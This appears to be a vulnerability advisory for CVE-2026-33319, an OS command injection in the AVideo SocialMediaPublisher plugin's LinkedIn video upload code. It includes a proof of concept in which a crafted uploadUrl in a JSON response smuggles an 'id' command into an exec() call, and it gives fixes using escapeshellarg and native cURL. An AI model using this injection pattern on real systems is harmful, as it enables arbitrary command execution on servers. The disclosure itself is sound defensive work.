CVE-2026-33319

The uploadVideoToLinkedIn() method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via escapeshellarg(). If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.

Details

The vulnerability exists in plugin/SocialMediaPublisher/Objects/SocialUploader.php.

The initializeLinkedInUploadSession() method (line 649) sends a POST request to https://api.linkedin.com/rest/videos?action=initializeUpload and parses the JSON response at line 693:

// SocialUploader.php:693
$responseArray = json_decode($response, true);

The parsed uploadInstructions array is iterated at line 532, and each uploadUrl is passed to uploadVideoToLinkedIn() at line 542:

// SocialUploader.php:542
$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);

The uploadVideoToLinkedIn() method (line 711) constructs a shell command by directly concatenating both $uploadUrl and $filePath into a string passed to exec():

// SocialUploader.php:713-720
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file "' .
    $filePath . '" "' .
    $uploadUrl . '" 2>&1';

_error_log("Upload Video Shell Command:\n" . $shellCmd);

exec($shellCmd, $o);

Neither $uploadUrl nor $filePath is sanitized with escapeshellarg(). A malicious URL such as https://uploads.linkedin.local" ; id ; echo " would break out of the quoted string and execute arbitrary commands.

The $uploadUrl originates from LinkedIn's API response, a trusted third-party source over HTTPS, so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.

PoC

This vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:

Step 1: Set up a proxy that intercepts the LinkedIn API response and replaces the uploadUrl field:

{
  "value": {
    "uploadInstructions": [
      {
        "uploadUrl": "https://example.com\" ; id > /tmp/pwned ; echo \"",
        "firstByte": 0,
        "lastByte": 1024
      }
    ],
    "uploadToken": "token123",
    "video": "urn:li:video:123"
  }
}

Step 2: The resulting shell command becomes:

curl -v -H "Content-Type:application/octet-stream" --upload-file "/tmp/tmpfile" "https://uploads.linkedin.local" ; id > /tmp/pwned ; echo "" 2>&1

Step 3: The id command executes as the web server user, writing output to /tmp/pwned.

Step 4: Verify:

cat /tmp/pwned
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

• Remote Code Execution: If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (www-data).
• Confidentiality: Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.
• Integrity: Ability to modify application files, inject backdoors, or alter database records.
• Practical risk is low due to the high attack complexity, exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-33319 has a CVSS score of 5.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Sanitize both $uploadUrl and $filePath with escapeshellarg() before interpolation into the shell command. Alternatively, replace the exec() call with PHP's native cURL functions (which are already used elsewhere in the same class):

Option 1, Minimal fix with escapeshellarg():

// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
    $shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file ' .
        escapeshellarg($filePath) . ' ' .
        escapeshellarg($uploadUrl) . ' 2>&1';

Option 2, Replace shell exec with native PHP cURL (preferred):

static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $uploadUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']);
    curl_setopt($ch, CURLOPT_PUT, true);
    curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, 'r'));
    curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_VERBOSE, true);

    $response = curl_exec($ch);
    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $headerSize);
    curl_close($ch);

    // Extract ETag from response headers
    $matches = [];
    preg_match('/(etag:)(\s?)(.*)(\n)/i', $headers, $matches);
    $etag = isset($matches[3]) ? trim($matches[3]) : null;

    // ... rest of function
}

Option 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in initializeLinkedInUploadSession() on line 664.

1. What is CVE-2026-33319? CVE-2026-33319 is a medium-severity OS command injection vulnerability in wwbn/avideo (composer), affecting versions <= 25.0. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-33319? CVE-2026-33319 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33319? wwbn/avideo (composer) versions <= 25.0 is affected.
4. Is there a fix for CVE-2026-33319? No fixed version is listed for CVE-2026-33319 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33319 exploitable, and should I be worried? Whether CVE-2026-33319 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33319 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33319? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.